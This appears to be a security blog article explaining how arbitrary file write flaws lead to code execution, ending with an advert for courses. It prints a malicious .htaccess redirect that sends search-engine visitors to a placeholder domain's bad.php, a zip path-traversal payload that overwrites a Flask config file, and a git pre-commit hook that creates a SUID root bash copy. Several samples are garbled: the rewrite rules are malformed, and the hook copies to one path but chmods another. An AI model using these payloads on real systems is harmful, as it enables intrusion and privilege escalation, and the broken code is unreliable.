Arbitrary File Write

However, in practice, various situations are possible when an attacker needs to implement different exploitation scenarios for the found vulnerabilities. For example, there may be a case where they can control the full path to the file or only the file name. That is, a hacker can control the entire path to the file or the name of the uploaded file, but not its content. Depending on the permissions applied to the target directory and the target application, the consequences can range from denial of service to interfering with the application's logic to bypass potentially important security functions.

Or the opposite situation is possible, where the attacker can control the content of the uploaded file but not the path to the file. In this case, the consequences can vary greatly due to many factors, primarily due to how the uploaded file is processed in the attacked system.

And finally, full arbitrary file write: an attacker can control both the path and the content of the uploaded file. This is, of course, the best option for the attacker, but it does not always happen.

AFW and Web

The main direction for attacks with arbitrary file writing is attacks on web resources. If careless administrators have not configured the web server too securely, we can overwrite, for example, .htaccess configuration files. In this file, you can redirect users to phishing or malicious resources, and you can use it to add malicious code to web resources hosted on this web server.

Another malicious modification of .htaccess is presented in the configuration example below.

RewriteEngine On

RewriteOptions inherit

RewriteCond %{HTTP_REFERER} .task.com. * $ [NC, OR] RewriteCond % (HTTP_REFERER} 
.*google.* $ [NC,OR] RewriteCond %{HTTP_REFERER} .*yandex.ru* $ [NC, OR] 
RewriteCond % (HTTP_REFERER} .bing.com* $ [NC, OR] RewriteCond % (HTTP_REFERER} 
.*ya.ru* $ [NC, OR] RewriteCond %{HTTP_REFERER} .*aol.com* $ [NC, OR] RewriteCond 
%{HTTP_REFERER} .*altavista.com* $ [NC, OR] RewriteCond % (HTTP_REFERER} .*excite.com* 
$ [NC, OR] RewriteCond %{HTTP_REFERER} .*search.yahoo* $ [NC] RewriteRule 
.* http://Malicious Domain.tld/bad.php?t=3 [R,L]

This code tries to determine the referrer of the request. If it is a popular online search engine, they redirect the request to their malicious website with the .tld domain in order to load the malicious script bad.php. For example, for remote server management:

In addition to replacing the web server configuration files, we can also replace files for various frameworks. For example, if our application is written in Python using Flask, it must have a directory called config. This directory already contains the files __init__.py and settings.py. The main server file server.py imports settings.py from the config directory, which means that if we can write code to config/__init__.py, we can achieve code execution. For example, we can create a payload using the following code:

import zipfile

z_info = zipfile.ZipInfo(r"../config/__init__.py")

z_file = zipfile.ZipFile("/home/user/Desktop/bad.zip", mode="w")

z_file.writestr(z_info, "print 'test'")

z_info.external_attr = 0777 << 16L

z_file.close()

Uploaded files are extracted into the uploads directory. We can create a malicious file name using zipfile.ZipInfo(). Here we set the file name to ../config/__init__.py to overwrite __init__.py inside the configuration directory. And z_info.external_attr = 0777 << 16L will set the file read and write permission for all users. Then we can prepare the zip file and upload it to the vulnerable web application to further the attack.

I think the above examples are enough to understand the danger of arbitrary file write attacks. In fact, in addition to configuration files, you can also replace temporary files and environment files (e.g., venv), serialized files created during script execution, during user sessions. And in the specialized procfs file system, you can perform many manipulations to execute arbitrary code. And besides, do not forget about Bash scripts, Cron scheduler, and various profile and configuration files in the OS.

In order to prevent the defense representatives from being too sad, it is worth noting that only a very small set of these tactics can be used in cases of partial control over the content of files in web applications. The specific methods used will depend on the specific application and server configuration, so it is important to understand the unique vulnerabilities and attack vectors that are present in the victim's systems.

And not only Web

Git repositories are used by many developers, but careless permission settings here can also lead to unpleasant consequences. In each directory that the version control system works with, there is a .git folder, and if an attacker has write access to it, they can, for example, set up their own Git hook, a special Git interceptor script that runs on various events in the repository. For example, on events such as creating a commit, merging, and other code manipulations. During active development, the same commits can be made several times a day, and our hook will be executed every time.

For example, you can generate a script in the git repository in .git/hooks so that it always runs when a new commit is created:

echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit

chmod +x pre-commit

./pre-commit

Here we first create the executable script file, then make it executable, and actually execute it.

Conclusion

We have considered several examples where the presence of an arbitrary file write vulnerability can lead to arbitrary code execution. Of course, an attacker does not always have the ability to control both the file path and its content, but in some cases, even the ability to simply change the content of a specific file is enough to execute arbitrary code.

You can gain more up-to-date skills in information security through practical online courses from industry experts.